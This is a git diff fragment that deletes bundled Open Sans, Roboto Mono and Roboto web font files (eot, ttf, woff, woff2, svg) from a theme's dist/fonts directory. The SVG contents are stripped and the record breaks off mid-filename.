- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf deleted file mode 100644 index 2e31d024..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff deleted file mode 100644 index a96746c5..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 deleted file mode 100644 index 9908e323..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot b/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot deleted file mode 100644 index 53d6bc70..00000000 Binary files a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg b/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg deleted file mode 100644 index 37448f0e..00000000 --- a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg +++ /dev/null @@ -1,390 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf b/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf deleted file mode 100644 index b158a334..00000000 Binary files a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff b/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff deleted file mode 100644 index 5bb2b758..00000000 Binary files a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 b/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 deleted file mode 100644 index 5d3ed658..00000000 Binary files a/themes/public/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot deleted file mode 100644 index a16d5926..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg deleted file mode 100644 index 11db87dd..00000000 --- a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg +++ /dev/null @@ -1,309 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf deleted file mode 100644 index d3f01ad2..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff deleted file mode 100644 index 6e0f5626..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2 b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2 deleted file mode 100644 index 76817cc7..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot deleted file mode 100644 index 08a00913..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg deleted file mode 100644 index 050bee0e..00000000 --- a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg +++ /dev/null @@ -1,325 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf deleted file mode 100644 index 41cc1e75..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff deleted file mode 100644 index ea90d717..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2 b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2 deleted file mode 100644 index 45c9ef73..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot deleted file mode 100644 index 92fb91bd..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg deleted file mode 100644 index 4d597971..00000000 --- a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg +++ /dev/null @@ -1,323 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf deleted file mode 100644 index 6a1cee5b..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff deleted file mode 100644 index 818233db..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2 